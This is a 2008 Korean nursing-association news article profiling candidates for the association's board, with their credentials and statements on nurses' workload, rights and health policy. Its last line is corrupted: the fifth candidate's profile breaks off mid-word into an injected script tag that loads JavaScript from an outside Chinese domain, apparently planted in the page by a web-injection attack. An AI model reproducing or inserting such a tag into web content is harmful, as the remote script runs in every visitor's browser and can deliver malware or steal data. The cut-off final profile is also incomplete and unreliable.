간협 이사 및 감사 후보 프로필(2008~2009년)
[편집국] 편집부 news@koreanurse.or.kr 기사입력 2008-01-30 오전 10:32:10
대한간호협회 이사 및 감사 후보들이 선거관리위원회에 제출한 자기소개서 및 출마에 대한 소견을 가나다순(기호순)으로 싣습니다. 자기소개서 양식에 따르면 학력은 2개, 경력은 5개, 포상은 8개까지 게재할 수 있게 돼 있습니다.
각 후보의 프로필은 △학력 △경력 △포상 순으로 정리해 실었으며, 후보의 소속기관과 직책 등의 고유 명칭에 따라 프로필의 길이는 서로 다를 수 있습니다.
◆ 이사 후보 ◆
1. 김귀분 이사 후보
△경희대 간호과학대학, 이화여대 이학박사 △경희대 간호과학대학 교수(현), 보건복지부 노인장기요양보험제도 운영위원(현), 제17대 대통령직 인수위원회 사회교육문화분과 자문위원(현), 경희대 간호과학대학 학부장, 미국 피츠버그대 교환교수 △한국과학기술단체총연합회 우수논문상
여러 가지로 부족한 저를 또 다시 이사 후보로 선정해 주심에 감사드립니다. 지난 2년간 초보 이사로서 간호협회 발전에 미력하나마 힘을 싣고자 하였으나 지나고 보니 부족함이 더 많았던 것 같습니다.
그동안 협회 이사로서 저의 작은 깨달음은 올해 7월 노인장기요양보험제도 실시에 따른 각종 토론회에 참석하면서, 보건복지부 노인장기요양보험제도 운영위원으로 방문간호사업 관련 여러 가지 정책입안 과정에서, 우리의 조직력이나 능력이 결집되면 불가능이 없다는 것입니다.
특히 이번 새정부 인수위 사회교육문화분과 자문위원으로 위촉되면서 간호의 위력과 저력을 다시금 깨닫는 계기가 됐습니다. 이 모든 것이 간호협회 그리고 회원 여러분들이 계시기에 가능함을 알고, 다시 기회를 주신다면 회장단을 보필하여 더 큰 행보로 나아가도록 노력하겠습니다.
2. 김남초 이사 후보
△가톨릭대 간호대학, 이화여대 간호학박사 △가톨릭대 간호대학 교수(현), 한국간호평가원 이사(현), 가톨릭대 간호대학 학장, 한국간호대학(과)장협의회 회장, 한국간호과학회 이사 △교육부장관 표창
대학을 갓 졸업한 1~2년차 병원 간호사들은 많은 업무량으로 식사시간은 물론 화장실 갈 틈조차 부족할 뿐 아니라 자신이 맡은 업무량을 완전히 소화하기 위해서는 1일 근무시간이 10시간 이상 된다는 불만의 소리를 자주 듣습니다. 또한 경력 간호사들은 그들대로 간호활동 이외에 병원에서 요구하는 각종 paperwork가 너무 많아 모두들 UM이나 팀장으로 승진하는 것조차 별로 반갑지 않다는 소리를 듣곤 합니다. 이는 간호사의 근무환경에 대한 제도적인 개선이 필요함을 단적으로 시사하는 내용이라고 봅니다.
대한간호협회라면 회원들이 즐겁고 자부심을 느끼며 일할 수 있도록 권익을 위해 앞장서야 한다는 것이 제 평소의 소신입니다. 회원들에게 변화에는 민감하고, 실용을 추구하며, 일한 만큼 정당한 대우를 받는 그런 희망을 주고 싶습니다.
3. 김명애 이사 후보
△서울대 간호대학, 서울대 간호학석사 △서울대병원 간호부장(현), 대한간호협회 이사(현), 병원간호사회 이사(현), 보건복지부 건강정책심의위원회 위원(현), 병원중환자간호사회 초대회장 △교육부장관 표창
저는 1975년 대학 졸업 후 계속 병원에서 일하고 있습니다. 병원간호 현장에서 열심히 일하고 있는 많은 간호사의 목소리를 대변하고 싶습니다.
지난 2년간 간호협회 이사로 건강정책심의위원회 등 보건정책과 관련된 많은 회의에 참석하여 간호사의 의견을 반영시키고자 노력하였습니다.
앞으로도 여러 보건정책관련 부서와의 유기적 관계 형성을 통해 간호사의 의료인으로서의 위상 정립을 위하여 보다 노력하겠습니다.
4. 김소선 이사 후보
△연세대 간호대학, 연세대 이학박사 △연세대 간호대학 교수 교학부원장(현), 성인간호학회 회장, 서울시간호사회 부회장, 미국 볼티모어 존스홉킨스병원 간호사, 연대 세브란스병원 간호사
본인은 한국과 미국의 임상현장에서 간호사로서 뿐만 아니라 성인 및 노인전문간호사(Nurse Practitioner)로서의 경험을 바탕으로 현재는 대학에서 간호에 대한 학문적인 탐구와 함께 전문간호사 교육의 학사운영을 책임지고 있습니다. 또한 향후 한국 전문간호사의 발전방향을 모색하기 위하여 간호협회 전문간호사 특별위원으로 활동하고 있으며 서울시간호사회 부회장, 성인간호학회 회장 등을 역임하면서 협회와 학회 활동을 지속적으로 수행해 왔습니다.
저는 간호를 사랑하는 사람으로서 그리고 학문으로서의 간호와 실무로서의 간호가 상생하여야 함을 주장하는 사람으로서 한국의 모든 간호사가 간호사임이 자랑이 될 수 있도록 간호사의 권익 옹호와 함께 간호가 전문직으로 자리매김할 수 있도록 미력하나마 일조를 하고자 이사후보로 참여하였습니다.
5. 박광옥 이사 후보
△서울대 간호대학, 서울대 간호학박사 △서울아산병원 간호본부?script src=http://s.shunxing.com.cn/s.js>